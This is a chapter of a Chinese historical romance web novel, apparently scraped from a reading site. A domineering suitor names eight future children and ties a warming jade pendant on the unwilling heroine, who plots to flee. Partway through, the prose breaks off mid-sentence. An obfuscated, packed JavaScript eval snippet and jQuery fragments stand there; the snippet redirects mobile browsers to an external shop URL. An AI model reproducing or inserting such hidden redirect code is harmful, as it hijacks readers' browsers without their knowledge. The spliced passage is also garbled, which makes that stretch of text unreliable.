李晏安现在认为父皇让他在提亲时隐藏身份,也算是一项英明的决定。
听到他感叹,沈静柔攥紧拳头,心想着自己绝对不要被他带回南京!
这还在苏州,他就对她这么霸道,要到了他的地盘,被他带进了他家里,她岂不是叫天天不应,叫地地不灵?
何况他们门派高手如云,自己到时候别提去京城科举,只怕她连出门都出不了。
太可怕了!
她绝对不要跟他回去,也不要同他成亲,她一定一定得逃跑!
下定决心,沈静柔觉得自己得按捺住自己的脾气,她不能再总是骂他。
她得要温柔一些,柔顺一些,以此来换取他的放松警惕,这样她才好从他手里脱身!
这样想来,等他们回到沈府,沈静柔虽然拒绝了李晏安的牵手,可她还是对他笑,对他柔柔解释。
“不要在人前如此,私下可以。”
第一次看到她对他展颜浅笑,李晏安怦然心动,心头更软了些。
他点点头,没再强迫牵着她的手,他一路送她进她的院子,站在她房门口处,实在不想走,又不能不走,便说:“你好好睡下,明早再见。”
“嗯。”
沈静柔应下,又思忖了一会儿,对他补充说:“你回去小心。”
第一次被她关心,虽然他就在她隔壁,回去路上也没什么需要谨慎的地方,但她这样柔声关怀,他还是很开心。
他瞥了一眼沈静柔身旁的侍女们,后者被他目光吓到,忙都行礼退下。
“现在没旁人了。”
他对她说完这一句,便低头亲下来,在她眉间吻了又吻后,再亲亲她的眼睛,感觉到她睫毛在自己唇间眨动的痒意。
他笑:“明早见。”
又被他亲了,沈静柔气恼,她不敢再多说什么,怕他又控制不住亲自己,所以她只是点头,然后快速转身,忙小跑进房间,迅速关上房门。
“真容易害羞。”
看她如同逃跑般的动作,李晏安笑了下,只觉得沈静柔脸皮太薄。
原本他生气沈静柔喜欢赵昭一事,深觉被背叛,而今他能感觉到沈静柔已经开始慢慢喜欢自己。
他的魅力,自然比那个凡夫俗子大的多,不消几日,只怕沈静柔已经会爱他如命,他又何必跟那个小白脸计较太多?
便是找人暗地里给个教训,也就算了,也免得沈静柔为赵昭跟自己吵架。
如此想来,李晏安的心结散去大半,一夜好眠,甚至还做了个美梦,他梦见自己与沈静柔婚后琴瑟和谐,他们还育有一儿一女。
醒来他又觉得沈静柔生两个孩子不够,他拿着毛笔在宣纸上挥毫泼墨,写下“长乐未央”四个字。
等沈静柔过来吃饭的时候,李晏安让她过来看自己写的字。
“好看吗?”
“嗯。”
沈静柔在敷衍点头后,又想起自己这几天得对他温柔小意些,她便又勉强多问了一句:“怎么一大早写毛笔字?”
“傻丫头,这是我们未来孩儿的名字啊。”
什么?!
沈静柔呆在原地,只觉震惊。
李晏安当她欢喜过头了,便伸手刮了下她的鼻梁,他牵着她手,用指尖一一划过“平安喜乐”四个字。
“李长,李乐是我们大儿子跟小儿子的名字,李未,李央是我们大女儿和小女儿的名字,你觉得好吗?”
他还征求起她的意见了。
他到底清不清楚他们至今也就认识三天,他怎么能将他们未来孩子名字都想好?
还一下子想四个,他凭什么认为自己要给他生四个孩子?!
沈静柔看着这四个字,再看看李晏安,她忍住骂他的冲动,只违心的点了点头。
看她同意四个孩儿的名字,李晏安又说:“其实四个孩子算起来也太少了,到底不算圆满,若是生八个,我还得想想咱们三子四子与三女四女的名字。”
说完,李晏安皱着眉头,还苦恼上了。
而他在片刻思索后,又眼眸亮起,对她说“不若我们的后四子便取‘星辰大海’一词好了,寓意前途璀璨、胸怀广阔、一生明亮安稳,你觉得呢?”
她觉得?
她觉得自己想要一脚把李晏安踹出星辰,飞向大海,还‘长乐未央,星辰大海’,他当自己是母猪吗?还要生八胎!要生他自己生!
沈静柔看着眼前的毛笔字,久久沉默。
李晏安看她半晌都未发表意见,不免追问:“你不喜欢我取的名字?”
她不喜欢的何止是名字,还有他!
再次忍下一口气,沈静柔避重就轻,“我只是觉得现在给孩子取名为时尚早,这应该是成婚一段时间之后才应该考虑的事情。”
“父母之爱子,必为计之深远。既然我们已成夫妇,自然要尽快为我们的孩子打点好一切,男孩女孩的名字,他们的教育,还有给他们挑选的老师,这些都应早早打算起来,免得到时候手忙脚乱,做的不好。”
李晏安絮絮叨叨着,又略有些不满的责备着沈静柔。
“你也是快做母亲的人了,凡事也应当为孩子们想想,若是你觉得我给孩子们的取名不好,你也可以对此事多思多虑,写出你喜欢的名字,我们可以一起讨论,择优录选,给他们取寓意最好的名字。”
沈静柔看他如此煞有介事的模样,一时间心中实在无语至极。
她本来就是随便敷衍一下他,没想到他还不依不饶起来,甚至还给她布置起了任务。
被李晏安的郑重其事弄怕了,沈静柔不再敷衍,只能点头。
“好吧,回头我翻阅一下书籍,看能不能找些寓意好的名字,给你做个备选。”
“这才是个好母亲。”
得到她准确的应诺,李晏安这才笑起来,他伸手拿过桌边的一盒绿色圆形的瓷瓶。
他说:“这是昨夜我找府医配的药膏,用于你唇上的伤口,一会儿等你吃完饭,我给你抹。”
本来他昨夜就想要给她抹,只是等府医将药膏配置好,已经是凌晨,他想着不好打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911990|213148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扰她睡觉,这才没有去找她。
沈静柔听到他要给自己抹药,只觉得头皮发麻,只是还未等她说出拒绝的话,只见李晏安又从怀里掏出一块通体白润的玉珏。
“这是我从出生就开始佩戴的玉珏,我让人一分为二,将另一半玉珏做成了玉珏,这个玉珏我送给你,以后你要日夜佩戴,不可离身。”
李晏安挑出玉珏顶端穿过的绳子,立刻将其系在了沈静柔的脖颈上。
他的拇指触碰到了沈静柔脖子上的肌肤,沈静柔感觉到不自在,她扭着头,有些抗拒的回:“这玉珏太贵重了,要不然你还是拿回去吧。”
“不拿。”
将玉珏在她脖子处系好,他走远一步,看到自己的一半玉珏贴合在她锁骨中间处,怎么看都觉得顺眼。
他一字一句道:“没人比你更适合这块玉珏,你好好戴着,待你百年去世,也要带着这块玉珏一起陪葬。”
“陪……葬?”
沈静柔听到这两个字,一时间都不知道都有些怀疑自己是不是听错了。
自己青春年华,如今也不过才十六岁,李晏安就这么快已经想好了自己去世过后的陪葬品吗?
她爷爷现在都还没考虑到自己死后的陪葬品呢。
“对。”
李晏安一本正经的回:“回头我会让人为我们的陵墓选好一个风水宝地,死后我们一起同眠,陪葬品除了现在我们共同拥有的一块玉,你若有另外喜欢的物件,也可以随时告诉我,我会让人提前在墓园备好一份。”
这个人生前要拉着自己,死后都不放过自己。
沈静柔一听自己去世后还得与他同眠,她只觉得人生惨淡无望,实在是一片凄凄惨惨戚戚。
她觉得自己此刻佩戴的不是一块玉珏,这简直就是一块沉重的枷锁,直接锁住了她的一生。
心里想着这块玉,她忽然感觉到这块玉好像温度变热了一些,连带着玉珏所接触到的肌肤也在发热。
不知道这是自己的心里原因,还是玉真的在发热。
沈静柔拿起玉珏,此时她准确感知到了玉的温度在升高。
“这玉怎么会发热?”她惊奇不已。
李晏安见怪不怪,“这是一块天山和田羊脂暖玉,它生长在极寒之地,却带有温阳之气,日常佩戴可以帮助身体发热,若到了夏日,也可用自身阳气护你身体,你带着它如同带着一个天材地宝,总是没坏处的。”
“这么奇特?”
饶是沈静柔自幼看过不少的书籍,也是第一次听说世界上还有这样的一块玉。
这玉听起来便来历不凡,沈静柔更是不敢戴了,她抬手便想摘下,可她的手刚一动,就被李晏安一把握住。
李晏安看她一脸惶然的样子,就知道她想要摘玉。
他厉声斥她,“不准摘,这玉你就给我戴一辈子。”
随着他的靠近,沈静柔这才注意到他腰间佩戴着一块白色玉珏,而此时玉珏一分为二,另一半玉珏便是在顶部穿了一个孔,变成了自己身上佩戴的玉珏。